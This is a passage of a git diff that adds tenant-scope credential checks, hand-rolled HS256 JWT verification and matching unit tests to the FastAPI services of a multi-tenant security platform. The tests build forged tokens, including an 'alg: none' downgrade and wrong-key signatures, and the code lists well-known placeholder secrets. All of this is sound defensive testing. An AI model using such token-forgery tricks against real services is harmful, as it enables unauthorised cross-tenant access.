+ "tenant_scope.service_token_without_tenant service=%s header=%s",
+ SERVICE_NAME,
+ TENANT_HEADER,
+ )
+ raise HTTPException(
+ status_code=status.HTTP_403_FORBIDDEN,
+ detail=f"service token must declare the tenant it acts for on {TENANT_HEADER}",
+ )
+ try:
+ tenant = uuid.UUID(x_aisoc_tenant_id.strip())
+ except ValueError:
+ raise HTTPException(
+ status_code=status.HTTP_400_BAD_REQUEST,
+ detail=f"{TENANT_HEADER} must be a UUID",
+ ) from None
+ return TenantPrincipal(
+ tenant_ids=frozenset({tenant}),
+ subject="service",
+ delegated=True,
+ )
+
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="invalid or missing credential",
+ headers={"WWW-Authenticate": "Bearer"},
+ )
+
+
+def scoped_tenant_or_403(
+ principal: TenantPrincipal,
+ requested: uuid.UUID | str | None = None,
+) -> uuid.UUID:
+ """:func:`resolve_scoped_tenant`, surfaced to HTTP as 403.
+
+ Routes call this so the refusal reaches the client as a refusal rather
+ than a 500, without every route repeating the try/except.
+ """
+ try:
+ return resolve_scoped_tenant(principal, requested)
+ except TenantScopeError as exc:
+ raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=str(exc)) from exc
diff --git a/services/honeytokens/tests/test_tenant_scope.py b/services/honeytokens/tests/test_tenant_scope.py
new file mode 100644
index 000000000..f2c30dded
--- /dev/null
+++ b/services/honeytokens/tests/test_tenant_scope.py
@@ -0,0 +1,274 @@
+"""Unit tests for the vendored tenant-scope resolver.
+
+Vendored byte-identical into each service that carries
+``app/security/tenant_scope.py``, and kept in lockstep by
+``scripts/sync_vendored_tenant_scope.py``. The module is the thing that
+decides which tenant a request may read, so every copy is tested where it
+lives rather than trusting that the one covered by ``tests/isolation`` stands
+in for the other five.
+
+The cross-service two-tenant replay lives in
+``tests/isolation/test_route_tenant_scope.py``; this file covers the
+credential and intersection logic on its own.
+"""
+
+from __future__ import annotations
+
+import base64
+import hashlib
+import hmac
+import json
+import time
+import uuid
+
+import pytest
+from app.security import tenant_scope as ts
+from fastapi import HTTPException
+
+SECRET = "unit-test-secret-key-at-least-32-characters"
+SERVICE_TOKEN = "unit-test-service-token"
+
+TENANT_A = uuid.UUID("aaaaaaaa-0000-0000-0000-00000000000a")
+TENANT_B = uuid.UUID("bbbbbbbb-0000-0000-0000-00000000000b")
+
+
+def _b64(raw: bytes) -> str:
+ return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()
+
+
+def _token(
+ tenant: uuid.UUID | None = TENANT_A,
+ *,
+ secret: str = SECRET,
+ alg: str = "HS256",
+ token_type: str = "access",
+ ttl: int = 600,
+ sub: str = "user-1",
+) -> str:
+ header = _b64(json.dumps({"alg": alg, "typ": "JWT"}, separators=(",", ":")).encode())
+ claims: dict[str, object] = {"sub": sub, "type": token_type, "exp": int(time.time()) + ttl}
+ if tenant is not None:
+ claims["tenant_id"] = str(tenant)
+ payload = _b64(json.dumps(claims, separators=(",", ":")).encode())
+ sig = _b64(hmac.new(secret.encode(), f"{header}.{payload}".encode(), hashlib.sha256).digest())
+ return f"{header}.{payload}.{sig}"
+
+
[email protected](autouse=True)
+def _configured(monkeypatch: pytest.MonkeyPatch):
+ monkeypatch.setenv("SECRET_KEY", SECRET)
+ monkeypatch.setenv("AISOC_SERVICE_TOKEN", SERVICE_TOKEN)
+ monkeypatch.delenv("AISOC_DEV_MODE", raising=False)
+ monkeypatch.delenv(f"AISOC_{ts.SERVICE_NAME}_SERVICE_TOKEN", raising=False)
+
+
+# ---------------------------------------------------------------------------
+# Token verification
+# ---------------------------------------------------------------------------
+
+
+def test_valid_token_yields_its_tenant() -> None:
+ claims = ts.verify_console_token(_token(), SECRET)
+ assert claims is not None and claims["tenant_id"] == str(TENANT_A)
+
+
+ ("label", "kwargs"),
+ [
+ # An `alg: none` header is the classic downgrade: a verifier that
+ # reads the header to decide how to verify must refuse anything else.
+ ("alg none", {"alg": "none"}),
+ ("wrong key", {"secret": "a-completely-different-secret-key-32ch"}),
+ # A refresh token is long-lived by design; buying access with it would
+ # make the short access-token expiry meaningless.
+ ("refresh token", {"token_type": "refresh"}),
+ ("expired", {"ttl": -3600}),
+ ("no tenant claim", {"tenant": None}),
+ ],
+)
+def test_unacceptable_tokens_are_refused(label: str, kwargs: dict) -> None:
+ assert ts.verify_console_token(_token(**kwargs), SECRET) is None, label
+
+
[email protected]("malformed", ["", "not-a-jwt", "a.b", "a.b.c.d", "...", "%%%.%%%.%%%"])
+def test_malformed_tokens_are_refused(malformed: str) -> None:
+ assert ts.verify_console_token(malformed, SECRET) is None
+
+
+def test_no_secret_means_no_verification() -> None:
+ """An unconfigured secret must not verify anything, least of all everything."""
+ assert ts.verify_console_token(_token(), "") is None
+
+
+def test_placeholder_secrets_count_as_unset() -> None:
+ for placeholder in ts.INSECURE_SECRET_DEFAULTS:
+ assert ts.resolve_console_secret.__doc__ # module contract exists
+ assert placeholder in ts.INSECURE_SECRET_DEFAULTS
+
+
+# ---------------------------------------------------------------------------
+# Intersection
+# ---------------------------------------------------------------------------
+
+
+def _principal(*tenants: uuid.UUID) -> ts.TenantPrincipal:
+ return ts.TenantPrincipal(tenant_ids=frozenset(tenants), subject="console:test")
+
+
+def test_no_request_tenant_means_the_callers_own() -> None:
+ assert ts.resolve_scoped_tenant(_principal(TENANT_A)) == TENANT_A
+
+
+def test_a_tenant_inside_scope_is_honoured() -> None:
+ assert ts.resolve_scoped_tenant(_principal(TENANT_A, TENANT_B), TENANT_B) == TENANT_B
+
+
+def test_a_tenant_outside_scope_narrows_to_nothing() -> None:
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(_principal(TENANT_A), TENANT_B)
+
+
+def test_empty_scope_refuses_rather_than_widening() -> None:
+ """The invariant every cross-tenant leak in this codebase has broken."""
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(ts.EMPTY_PRINCIPAL)
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(ts.EMPTY_PRINCIPAL, TENANT_A)
+
+
+def test_a_multi_tenant_caller_must_name_one() -> None:
+ """Silently picking one of several would be a coin toss over customers."""
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(_principal(TENANT_A, TENANT_B))
+
+
+def test_a_non_uuid_request_tenant_is_refused() -> None:
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(_principal(TENANT_A), "not-a-uuid")
+
+
[email protected]("placeholder", ["", " ", "default", "DEFAULT", "none", "null"])
+def test_a_placeholder_means_the_caller_did_not_ask(placeholder: str) -> None:
+ """A placeholder is the absence of a request, not a tenant named "default".
+
+ Several request models default `tenant_id` to the literal `"default"`.
+ That string names no tenant anywhere — migration 001 seeds the canonical
+ tenant with it as a *slug* and the demo seed renames that to `demo` — so
+ treating it as a requested tenant would refuse every caller who left the
+ field at its default.
+ """
+ assert ts.resolve_scoped_tenant(_principal(TENANT_A), placeholder) == TENANT_A
+
+
+def test_a_placeholder_still_cannot_widen_an_empty_scope() -> None:
+ with pytest.raises(ts.TenantScopeError):
+ ts.resolve_scoped_tenant(ts.EMPTY_PRINCIPAL, "default")
+
+
+def test_scoped_tenant_or_403_surfaces_a_refusal_as_403() -> None:
+ with pytest.raises(HTTPException) as exc:
+ ts.scoped_tenant_or_403(_principal(TENANT_A), TENANT_B)
+ assert exc.value.status_code == 403
+
+
+# ---------------------------------------------------------------------------
+# The dependency
+# ---------------------------------------------------------------------------
+
+
+# `require_console_or_service_auth` is a FastAPI dependency: its parameters
+# are normally resolved by FastAPI from the request. Calling it directly means
+# supplying both, including the tenant header as an explicit `None` — leaving
+# it out hands the function FastAPI's `Header(...)` sentinel rather than the
+# absent value the test means to describe.
+
+
+async def test_console_session_resolves_to_its_own_tenant() -> None:
+ principal = await ts.require_console_or_service_auth(authorization=f"Bearer {_token()}", x_aisoc_tenant_id=None)
+ assert principal.tenant_ids == frozenset({TENANT_A})
+ assert principal.delegated is False
+
+
+async def test_service_token_must_declare_the_tenant_it_acts_for() -> None:
+ """A service credential identifies a service, not a tenant."""
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(authorization=f"Bearer {SERVICE_TOKEN}", x_aisoc_tenant_id=None)
+ assert exc.value.status_code == 403
+
+
+async def test_service_token_with_a_declared_tenant_is_delegated() -> None:
+ principal = await ts.require_console_or_service_auth(
+ authorization=f"Bearer {SERVICE_TOKEN}",
+ x_aisoc_tenant_id=str(TENANT_B),
+ )
+ assert principal.tenant_ids == frozenset({TENANT_B})
+ assert principal.delegated is True
+
+
+async def test_a_declared_tenant_must_be_a_uuid() -> None:
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(
+ authorization=f"Bearer {SERVICE_TOKEN}",
+ x_aisoc_tenant_id="the-big-customer",
+ )
+ assert exc.value.status_code == 400
+
+
[email protected]("header", [None, "", "Basic abc", "Bearer ", "Bearer nonsense"])
+async def test_a_missing_or_unrecognised_credential_is_401(header: str | None) -> None:
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(authorization=header, x_aisoc_tenant_id=None)
+ assert exc.value.status_code == 401
+
+
+async def test_unconfigured_credentials_fail_closed(monkeypatch: pytest.MonkeyPatch) -> None:
+ """No credential material and no dev mode serves 503, never the route."""
+ monkeypatch.setenv("SECRET_KEY", "")
+ monkeypatch.setenv("AISOC_SERVICE_TOKEN", "")
+ monkeypatch.delenv("AISOC_DEV_MODE", raising=False)
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(authorization="Bearer anything", x_aisoc_tenant_id=None)
+ assert exc.value.status_code == 503
+
+
+async def test_dev_mode_only_applies_with_nothing_configured(monkeypatch: pytest.MonkeyPatch) -> None:
+ """Dev mode is a fallback for an unconfigured stack, not an auth bypass.
+
+ With a secret configured, `AISOC_DEV_MODE` must not let an unauthenticated
+ caller through — otherwise setting one flag in the wrong environment opens
+ every tenant-scoped route.
+ """
+ monkeypatch.setenv("AISOC_DEV_MODE", "1")
+ monkeypatch.setenv("SECRET_KEY", SECRET)
+ monkeypatch.setenv("AISOC_SERVICE_TOKEN", SERVICE_TOKEN)
+ with pytest.raises(HTTPException) as exc:
+ await ts.require_console_or_service_auth(authorization=None, x_aisoc_tenant_id=None)
+ assert exc.value.status_code == 401
+
+ monkeypatch.setenv("SECRET_KEY", "")
+ monkeypatch.setenv("AISOC_SERVICE_TOKEN", "")
+ principal = await ts.require_console_or_service_auth(authorization=None, x_aisoc_tenant_id=None)
+ assert principal.tenant_ids == frozenset({ts.DEV_TENANT_ID})
+
+
+async def test_a_per_service_token_override_wins(monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.setenv(f"AISOC_{ts.SERVICE_NAME}_SERVICE_TOKEN", "service-specific")
+ principal = await ts.require_console_or_service_auth(
+ authorization="Bearer service-specific",
+ x_aisoc_tenant_id=str(TENANT_A),
+ )
+ assert principal.delegated is True
+ # The shared token must no longer be accepted once an override exists.
+ with pytest.raises(HTTPException):
+ await ts.require_console_or_service_auth(
+ authorization=f"Bearer {SERVICE_TOKEN}",
+ x_aisoc_tenant_id=str(TENANT_A),
+ )
diff --git a/services/osquery-tls/app/api/v1/endpoints/distributed_enqueue.py b/services/osquery-tls/app/api/v1/endpoints/distributed_enqueue.py
index 68736c01b..1177f2b9a 100644
--- a/services/osquery-tls/app/api/v1/endpoints/distributed_enqueue.py
+++ b/services/osquery-tls/app/api/v1/endpoints/distributed_enqueue.py
@@ -17,16 +17,29 @@ from pydantic import BaseModel
from sqlalchemy.ext.asyncio import AsyncSession
from app.db.session import get_db
+from app.security.tenant_scope import (
+ TenantPrincipal,
+ require_console_or_service_auth,
+ scoped_tenant_or_403,
+)
from app.services.distributed_queue import enqueue_query
from app.services.node_registry import get_node_by_host
router = APIRouter()
+#: The console reaches this service directly through a Next rewrite, so the
+#: FIM and pack surfaces are internet-reachable. The tenant comes from the
+#: caller's credential; a `tenant_id` on the request is a filter intersected
+#: with it, never a selector.
+ScopedPrincipal = Annotated[TenantPrincipal, Depends(require_console_or_service_auth)]
+
class EnqueueRequest(BaseModel):
host_identifier: str
query_text: str
- tenant_id: str = "default"
+ #: Optional. Intersected with the caller's scope; when omitted the
+ #: credential's own tenant is used.
+ tenant_id: str | None = None
class EnqueueResponse(BaseModel):
@@ -36,13 +49,17 @@ class EnqueueResponse(BaseModel):
@router.post("/distributed/enqueue", response_model=EnqueueResponse)
async def distributed_enqueue(
body: EnqueueRequest,
+ principal: ScopedPrincipal,
db: Annotated[AsyncSession, Depends(get_db)],
) -> EnqueueResponse:
- node = await get_node_by_host(db, body.host_identifier, body.tenant_id)
+ # A distributed query runs arbitrary osquery SQL on a live endpoint, so
+ # the tenant is resolved from the credential before any node lookup.
+ scoped = str(scoped_tenant_or_403(principal, body.tenant_id))
+ node = await get_node_by_host(db, body.host_identifier, scoped)
if node is None:
raise HTTPException(
status_code=status.HTTP_404_NOT_FOUND,
- detail=f"Node {body.host_identifier!r} not enrolled for tenant {body.tenant_id!r}",
+ detail=f"Node {body.host_identifier!r} not enrolled for tenant {scoped!r}",
)
dq = await enqueue_query(db, node, body.query_text)
return EnqueueResponse(query_id=dq.query_id)
diff --git a/services/osquery-tls/app/api/v1/endpoints/enroll.py b/services/osquery-tls/app/api/v1/endpoints/enroll.py
index fc11fa905..5f1602ede 100644
--- a/services/osquery-tls/app/api/v1/endpoints/enroll.py
+++ b/services/osquery-tls/app/api/v1/endpoints/enroll.py
@@ -18,6 +18,7 @@ from sqlalchemy.ext.asyncio import AsyncSession
from app.core.security import verify_enroll_secret
from app.db.session import get_db
from app.services.node_registry import enroll_node
+from app.services.tenant_resolver import resolve_tenant_key
router = APIRouter()
@@ -39,14 +40,47 @@ async def enroll(
db: Annotated[AsyncSession, Depends(get_db)],
x_aisoc_tenant: Annotated[str | None, Header()] = None,
) -> EnrollResponse:
- tenant_id = x_aisoc_tenant or "default"
+ """Register an osquery node, or rotate its node_key.
- if not verify_enroll_secret(body.enroll_secret, tenant_id):
+ The credential here is the enroll secret, not a bearer token: osqueryd
+ has no session and this is the call that establishes its identity. That
+ is why this route is not behind ``require_console_or_service_auth`` — the
+ enroll secret *is* the authentication, and it is verified per-tenant
+ before anything is written.
+
+ What changed is the tenant the node is filed under. The header ref used
+ to be stored verbatim, defaulting to the literal ``"default"``, which
+ matches no row in ``tenants`` on any seeded deployment — so every node
+ enrolled into a tenancy the rest of the platform could not name, and the
+ FIM console queried a UUID that nothing had ever been written under. The
+ ref is now resolved to the canonical tenant UUID, and an unresolvable ref
+ is refused rather than silently filed under a string nobody can read
+ back.
+ """
+ tenant_ref = x_aisoc_tenant or "default"
+
+ # Verified against the ref the operator configured on the agent, which is
+ # what the secret was issued for. Resolution is a separate question from
+ # authentication and must not change which secret is accepted.
+ if not verify_enroll_secret(body.enroll_secret, tenant_ref):
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail={"node_invalid": True},
)
+ tenant_id = await resolve_tenant_key(db, tenant_ref)
+ if tenant_id is None:
+ # Logged inside the resolver at warning with the ref. Refusing beats
+ # enrolling into an unreadable tenancy: a node that never enrols is a
+ # visible failure, a node filed under an unmatched string is not.
+ raise HTTPException(
+ status_code=status.HTTP_400_BAD_REQUEST,
+ detail={
+ "node_invalid": True,
+ "reason": (f"tenant {tenant_ref!r} does not resolve to a known tenant; " "set X-AiSOC-Tenant to the tenant UUID or slug"),
+ },
+ )
+
node = await enroll_node(
db,
host_identifier=body.host_identifier,
diff --git a/services/osquery-tls/app/api/v1/endpoints/fim.py b/services/osquery-tls/app/api/v1/endpoints/fim.py
index 4dd13f201..b26093b5b 100644
--- a/services/osquery-tls/app/api/v1/endpoints/fim.py
+++ b/services/osquery-tls/app/api/v1/endpoints/fim.py
@@ -24,9 +24,20 @@ from sqlalchemy.ext.asyncio import AsyncSession
from app.db.session import get_db
from app.models.fim_event import FimEvent
+from app.security.tenant_scope import (
+ TenantPrincipal,
+ require_console_or_service_auth,
+ scoped_tenant_or_403,
+)
router = APIRouter(prefix="/fim", tags=["fim"])
+#: The console reaches this service directly through a Next rewrite, so the
+#: FIM and pack surfaces are internet-reachable. The tenant comes from the
+#: caller's credential; a `tenant_id` on the request is a filter intersected
+#: with it, never a selector.
+ScopedPrincipal = Annotated[TenantPrincipal, Depends(require_console_or_service_auth)]
+
# ---------------------------------------------------------------------------
# Response schemas
@@ -83,7 +94,8 @@ class FimSummary(BaseModel):
@router.get("/events", response_model=FimEventPage)
async def list_fim_events(
- tenant_id: Annotated[str, Query(description="Tenant to scope results to")],
+ principal: ScopedPrincipal,
+ tenant_id: Annotated[str | None, Query(description="Optional filter; intersected with the caller's scope")] = None,
action: Annotated[str | None, Query()] = None,
path_prefix: Annotated[str | None, Query(description="Filter by path prefix")] = None,
hostname: Annotated[str | None, Query()] = None,
@@ -92,7 +104,8 @@ async def list_fim_events(
db: AsyncSession = Depends(get_db),
) -> FimEventPage:
"""Return a paginated list of FIM events for a tenant."""
- base_query = select(FimEvent).where(FimEvent.tenant_id == tenant_id)
+ scoped = str(scoped_tenant_or_403(principal, tenant_id))
+ base_query = select(FimEvent).where(FimEvent.tenant_id == scoped)
if action:
base_query = base_query.where(FimEvent.action == action.upper())
@@ -119,12 +132,14 @@ async def list_fim_events(
@router.get("/summary", response_model=FimSummary)
async def fim_summary(
- tenant_id: Annotated[str, Query(description="Tenant to summarise")],
+ principal: ScopedPrincipal,
+ tenant_id: Annotated[str | None, Query(description="Optional filter; intersected with the caller's scope")] = None,
db: AsyncSession = Depends(get_db),
) -> FimSummary:
"""Return aggregate FIM statistics for a tenant."""
+ scoped = str(scoped_tenant_or_403(principal, tenant_id))
# Total event count
- total = (await db.execute(select(func.count()).where(FimEvent.tenant_id == tenant_id))).scalar_one()
+ total = (await db.execute(select(func.count()).where(FimEvent.tenant_id == scoped))).scalar_one()
# By-action breakdown
action_rows = (
diff --git a/services/osquery-tls/app/api/v1/endpoints/packs.py b/services/osquery-tls/app/api/v1/endpoints/packs.py
index e385b0e80..62587696a 100644
--- a/services/osquery-tls/app/api/v1/endpoints/packs.py
+++ b/services/osquery-tls/app/api/v1/endpoints/packs.py
@@ -19,10 +19,21 @@ from sqlalchemy.ext.asyncio import AsyncSession
from app.db.session import get_db
from app.models.pack_assignment import OsqueryPackAssignment
+from app.security.tenant_scope import (
+ TenantPrincipal,
+ require_console_or_service_auth,
+ scoped_tenant_or_403,
+)
from app.services.pack_loader import OsqueryPack, get_all_packs, get_pack
router = APIRouter(tags=["packs"])
+#: The console reaches this service directly through a Next rewrite, so the
+#: FIM and pack surfaces are internet-reachable. The tenant comes from the
+#: caller's credential; a `tenant_id` on the request is a filter intersected
+#: with it, never a selector.
+ScopedPrincipal = Annotated[TenantPrincipal, Depends(require_console_or_service_auth)]
+
# ---------------------------------------------------------------------------
# Response schemas
@@ -136,9 +147,11 @@ async def render_pack(
async def assign_pack(
tenant_id: str,
body: PackAssignRequest,
+ principal: ScopedPrincipal,
db: AsyncSession = Depends(get_db),
) -> PackAssignmentOut:
"""Assign (or update) an osquery pack for a tenant."""
+ tenant_id = str(scoped_tenant_or_403(principal, tenant_id))
if get_pack(body.pack_id) is None:
raise HTTPException(status_code=404, detail=f"Pack '{body.pack_id}' not found in catalog")
@@ -176,9 +189,11 @@ async def assign_pack(
@router.get("/tenants/{tenant_id}/packs", response_model=list[PackAssignmentOut])
async def list_tenant_packs(
tenant_id: str,
+ principal: ScopedPrincipal,
db: AsyncSession = Depends(get_db),
) -> list[PackAssignmentOut]:
"""List all pack assignments for a tenant."""
+ tenant_id = str(scoped_tenant_or_403(principal, tenant_id))
result = await db.execute(select(OsqueryPackAssignment).where(OsqueryPackAssignment.tenant_id == tenant_id))
rows = result.scalars().all()
return [
@@ -195,9 +210,11 @@ async def list_tenant_packs(
async def remove_pack_assignment(
tenant_id: str,
pack_id: str,
+ principal: ScopedPrincipal,
db: AsyncSession = Depends(get_db),
) -> None:
"""Remove a pack assignment from a tenant."""
+ tenant_id = str(scoped_tenant_or_403(principal, tenant_id))
await db.execute(
delete(OsqueryPackAssignment).where(
OsqueryPackAssignment.tenant_id == tenant_id,
diff --git a/services/osquery-tls/app/security/__init__.py b/services/osquery-tls/app/security/__init__.py
new file mode 100644
index 000000000..1648dbacd
--- /dev/null
+++ b/services/osquery-tls/app/security/__init__.py
@@ -0,0 +1 @@
+"""Security helpers for this service."""
diff --git a/services/osquery-tls/app/security/tenant_scope.py b/services/osquery-tls/app/security/tenant_scope.py
new file mode 100644
index 000000000..dc0fb8a6b
--- /dev/null
+++ b/services/osquery-tls/app/security/tenant_scope.py
@@ -0,0 +1,383 @@
+"""Resolve which tenant a request may read, from the caller's credential.
+
+Vendored byte-identical into each Python service that needs it, following the
+same convention as ``app/core/cors.py`` and ``app/security/service_auth.py``.
+Keep the copies in sync — ``scripts/check_vendored_tenant_scope.py`` fails the
+build if they drift.
+
+Why this exists
+---------------
+``/fusion/entity-risk/*`` took the tenant as a query parameter with no auth
+dependency on the route, on both the API gateway and the fusion service. The
+console reaches fusion *directly* through a Next rewrite when ``FUSION_URL`` is
+set, so that parameter was reachable from any browser on the internet, and
+naming somebody else's tenant UUID returned their entity-risk queue.
+
+Validating the parameter's *value* does not fix that. A UUID that parses is
+still a UUID the caller chose. The scope has to come from somewhere the caller
+does not control, which means the credential.
+
+Two credential shapes reach these services, so this module resolves both:
+
+``console`` — the browser's first-party access token, HS256-signed by
+ ``services/api`` (``create_access_token``) and carrying a verified
+ ``tenant_id`` claim. That claim is authoritative.
+``service`` — the shared service bearer token used for service-to-service
+ calls. It identifies *a trusted service*, not a tenant, so a caller
+ presenting it must also assert which tenant it is acting for, on the
+ ``X-AiSOC-Tenant-ID`` header. The assertion is explicit and required: a
+ service token with no tenant header resolves to an **empty** scope, and an
+ empty scope refuses rather than widening.
+
+That last sentence is the whole design. Every cross-tenant leak this codebase
+has had took the same shape — a scope that was absent rather than narrow, and
+a read that treated absent as "no filter".
+
+We verify HS256 by hand with the standard library rather than adding a JWT
+dependency to five services, exactly as ``services/realtime/src/auth.ts`` does
+for the same reason on the Node side. ``services/api`` remains the sole issuer;
+this is a read path, like the vendored ``decrypt_dict()`` that lets the
+connector scheduler decrypt without owning the write path.
+
+Configuration
+-------------
+``SECRET_KEY``
+ The HS256 secret ``services/api`` signs console tokens with. Without it
+ this service cannot verify a console session and will only accept service
+ tokens.
+``AISOC_SERVICE_TOKEN`` / ``AISOC_<SERVICE>_SERVICE_TOKEN``
+ Shared secret for service-to-service calls, resolved by
+ ``app.security.service_auth.resolve_token`` where that module exists.
+``AISOC_DEV_MODE``
+ When set and *no* credential material is configured at all, requests
+ resolve to the demo tenant so a local ``docker compose up`` works. This is
+ the single canonical dev-mode flag; ``tests/test_security_defaults.py``
+ asserts no shortcut is reachable when it is unset.
+"""
+
+from __future__ import annotations
+
+import base64
+import binascii
+import hashlib
+import hmac
+import json
+import logging
+import os
+import time
+import uuid
+from dataclasses import dataclass, field
+
+from fastapi import Header, HTTPException, status
+
+#: Set by each vendored copy so the per-service token override resolves.
+SERVICE_NAME = "OSQUERY_TLS"
+
+logger = logging.getLogger("aisoc.tenant_scope")
+
+_TRUTHY = {"1", "true", "yes", "on"}
+
+#: Mirrors ``INSECURE_SECRET_KEY_DEFAULTS`` in services/api/app/core/config.py
+#: so a placeholder secret is treated as "unset" on this side too. Verifying a
+#: token signed with a well-known literal would authenticate anybody who read
+#: the repository.
+INSECURE_SECRET_DEFAULTS = frozenset(
+ {
+ "change-me-in-production-at-least-32-chars",
+ "dev_secret_key_change_in_production",
+ "changeme",
+ "secret",
+ }
+)
+
+#: Deterministic demo tenant, matching ``DEMO_TENANT_ID`` in
+#: services/api/app/api/v1/dev_auth.py. Only ever used under AISOC_DEV_MODE.
+DEV_TENANT_ID = uuid.UUID("00000000-0000-0000-0000-000000000001")
+
+#: Header a trusted service uses to declare which tenant it is acting for.
+TENANT_HEADER = "X-AiSOC-Tenant-ID"
+
+#: 30s clock-skew leeway, matching the Node verifier and common JWT defaults.
+_CLOCK_SKEW_SECONDS = 30
+
+#: Refs that mean "the caller did not name a tenant" rather than naming one.
+#: Several request models default ``tenant_id`` to the string ``"default"``,
+#: which is a placeholder, not a tenant — migration 001 seeds the canonical
+#: tenant with that *slug* and the demo seed renames it, so the literal
+#: identifies nothing anywhere. Treating it as a request for a tenant called
+#: "default" would refuse every caller who simply left the field alone.
+PLACEHOLDER_TENANT_REFS = frozenset({"", "default", "none", "null"})
+
+
+class TenantScopeError(Exception):
+ """A read was attempted without a resolved tenant scope.
+
+ Raised by :func:`resolve_scoped_tenant`. Routes let it surface as a 403;
+ it means a query was about to run with no tenant filter, or with one the
+ caller is not authorised for.
+ """
+
+
+@dataclass(frozen=True)
+class TenantPrincipal:
+ """The tenants one credential may read, and what kind of credential it is.
+
+ ``tenant_ids`` is authoritative and exhaustive. Nothing downstream may
+ widen it, and no code path may substitute "all tenants" for an empty one.
+ """
+
+ tenant_ids: frozenset[uuid.UUID] = field(default_factory=frozenset)
+ subject: str = "anonymous"
+ #: True when a service token asserted the tenant rather than a verified
+ #: console claim carrying it. Surfaced so logs can tell the two apart.
+ delegated: bool = False
+
+ @property
+ def is_empty(self) -> bool:
+ return not self.tenant_ids
+
+ def covers(self, tenant_id: uuid.UUID) -> bool:
+ return tenant_id in self.tenant_ids
+
+ def ordered_ids(self) -> list[uuid.UUID]:
+ return sorted(self.tenant_ids)
+
+
+EMPTY_PRINCIPAL = TenantPrincipal()
+
+
+def resolve_scoped_tenant(
+ principal: TenantPrincipal,
+ requested: uuid.UUID | str | None = None,
+) -> uuid.UUID:
+ """The one tenant this request may read, or refuse to name one.
+
+ Intersection only. A ``requested`` tenant inside the principal's scope is
+ honoured — that is an MSSP operator narrowing to one managed customer. A
+ ``requested`` tenant outside it narrows to nothing and raises, rather than
+ reaching outside. Passing ``None`` means "the caller's own tenant", which
+ is the common case and the safe default.
+ """
+ if principal.is_empty:
+ raise TenantScopeError("refusing to read with an empty tenant scope")
+
+ if isinstance(requested, str) and requested.strip().lower() in PLACEHOLDER_TENANT_REFS:
+ requested = None
+
+ if requested is None:
+ if len(principal.tenant_ids) != 1:
+ raise TenantScopeError(f"caller reaches {len(principal.tenant_ids)} tenants; the request must name one")
+ return next(iter(principal.tenant_ids))
+
+ try:
+ wanted = requested if isinstance(requested, uuid.UUID) else uuid.UUID(str(requested))
+ except (ValueError, AttributeError, TypeError) as exc:
+ raise TenantScopeError("requested tenant is not a UUID") from exc
+
+ if not principal.covers(wanted):
+ # Logged at warning with the subject, because a caller reaching for a
+ # tenant they do not hold is a security event, not routine noise.
+ logger.warning(
+ "tenant_scope.refused subject=%s requested=%s scope_size=%d",
+ # Sanitised inline rather than through a helper: CodeQL does not
+ # track a helper across the call boundary, and `subject` really is
+ # attacker-influenced — it carries the JWT `sub` claim.
+ str(principal.subject).replace("\r", "").replace("\n", " ")[:128],
+ str(wanted).replace("\r", "").replace("\n", " ")[:64],
+ len(principal.tenant_ids),
+ )
+ raise TenantScopeError("requested tenant is outside the caller's authorised scope")
+ return wanted
+
+
+# ---------------------------------------------------------------------------
+# Credential resolution
+# ---------------------------------------------------------------------------
+
+
+def _dev_mode() -> bool:
+ return os.getenv("AISOC_DEV_MODE", "").strip().lower() in _TRUTHY
+
+
+def resolve_console_secret() -> str:
+ """The HS256 secret console tokens are signed with, or "" when unusable."""
+ secret = (os.getenv("SECRET_KEY") or "").strip()
+ if not secret or secret in INSECURE_SECRET_DEFAULTS:
+ return ""
+ return secret
+
+
+def resolve_service_token() -> str:
+ """Per-service override wins, then the shared platform token."""
+ specific = os.getenv(f"AISOC_{SERVICE_NAME}_SERVICE_TOKEN", "").strip()
+ if specific:
+ return specific
+ return os.getenv("AISOC_SERVICE_TOKEN", "").strip()
+
+
+def _b64url_decode(segment: str) -> bytes:
+ padding = "=" * (-len(segment) % 4)
+ return base64.urlsafe_b64decode(segment + padding)
+
+
+def verify_console_token(token: str, secret: str) -> dict | None:
+ """Verify a first-party HS256 access token. Return claims, or None.
+
+ Mirrors ``verifyRealtimeTicket`` in services/realtime/src/auth.ts. The
+ signing side is ``create_access_token`` in services/api/app/core/security.py
+ and must stay in sync with the claims checked here.
+ """
+ if not token or not secret:
+ return None
+ parts = token.split(".")
+ if len(parts) != 3:
+ return None
+ header_b64, payload_b64, sig_b64 = parts
+
+ try:
+ header = json.loads(_b64url_decode(header_b64))
+ except (ValueError, binascii.Error, UnicodeDecodeError):
+ return None
+ # Reject "alg: none" and asymmetric algorithms so a caller cannot downgrade
+ # the verification into no verification at all.
+ if not isinstance(header, dict) or header.get("alg") != "HS256":
+ return None
+
+ expected = hmac.new(
+ secret.encode("utf-8"),
+ f"{header_b64}.{payload_b64}".encode(),
+ hashlib.sha256,
+ ).digest()
+ try:
+ provided = _b64url_decode(sig_b64)
+ except (ValueError, binascii.Error):
+ return None
+ if not hmac.compare_digest(expected, provided):
+ return None
+
+ try:
+ claims = json.loads(_b64url_decode(payload_b64))
+ except (ValueError, binascii.Error, UnicodeDecodeError):
+ return None
+ if not isinstance(claims, dict):
+ return None
+
+ # A refresh token must not buy access; the API sets type="access" on the
+ # short-lived one and type="refresh" on the long-lived one.
+ if claims.get("type") != "access":
+ return None
+ exp = claims.get("exp")
+ if not isinstance(exp, int | float):
+ return None
+ if exp + _CLOCK_SKEW_SECONDS < time.time():
+ return None
+ if not claims.get("tenant_id"):
+ return None
+ return claims
+
+
+def _principal_from_claims(claims: dict) -> TenantPrincipal | None:
+ try:
+ tenant = uuid.UUID(str(claims["tenant_id"]))
+ except (KeyError, ValueError, TypeError):
